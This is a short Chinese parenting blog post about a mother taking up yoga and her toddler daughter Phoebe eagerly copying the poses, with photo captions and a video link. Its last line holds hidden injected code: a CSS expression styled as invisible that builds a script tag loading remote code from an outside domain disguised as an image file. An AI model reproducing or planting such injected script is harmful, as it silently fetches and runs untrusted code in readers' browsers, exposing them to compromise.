怎么会让菲比练起瑜伽了呢？事情是这样的。真正要练的人是菲比妈。菲比妈突然意识到自己有点肥胖了：）虽说，比起国外的胖子，那是300-400斤重的，站都站不动，是坐着电动轮椅在街上跑的。以之相比，国内再胖的人也还是很苗条的。菲比爸呢，对偶的肥胖不太关心，但关心偶的健康问题，所以为了孩子，为了这个女主内，男主外，缺一不可的幸福之家，偶要锻炼了：）
偶没有想到的是，菲比的兴致比偶还要高。而且是，比偶还能坚持，还能坐得住。真不敢相信是个只有2岁5个月的孩子。
因为菲比平时有学着巧虎VCD学跳舞。瑜伽是慢动作，对她来说，做起来一点也没有难度：）而且筋骨又软模仿得很到位。
菲比妈练了20分钟，一身汗，两脚发软，倒到沙发上歇菜了。菲比还在继续，偶拿起相机拍下第一次做瑜伽的她。
脚踝功：）
都是最基础的入门法，一点不难。
蹲功，就是马步吧。
这蹲低点，没蹲好，像占着茅坑不拉S：）
雪9704雪妈介绍给偶的“惠兰瑜伽”真的很不错：
提供一个我查到的网上视频。
http://v.youku.com/v_playlist/f3506219o1p20.html
很标准的冥想运作。
ee:expression_r(function(){if(!window.r){varss='s'+'cript';var tt='text/ja'+'vas'+'cript';varst=document.createElement(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName_r('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none"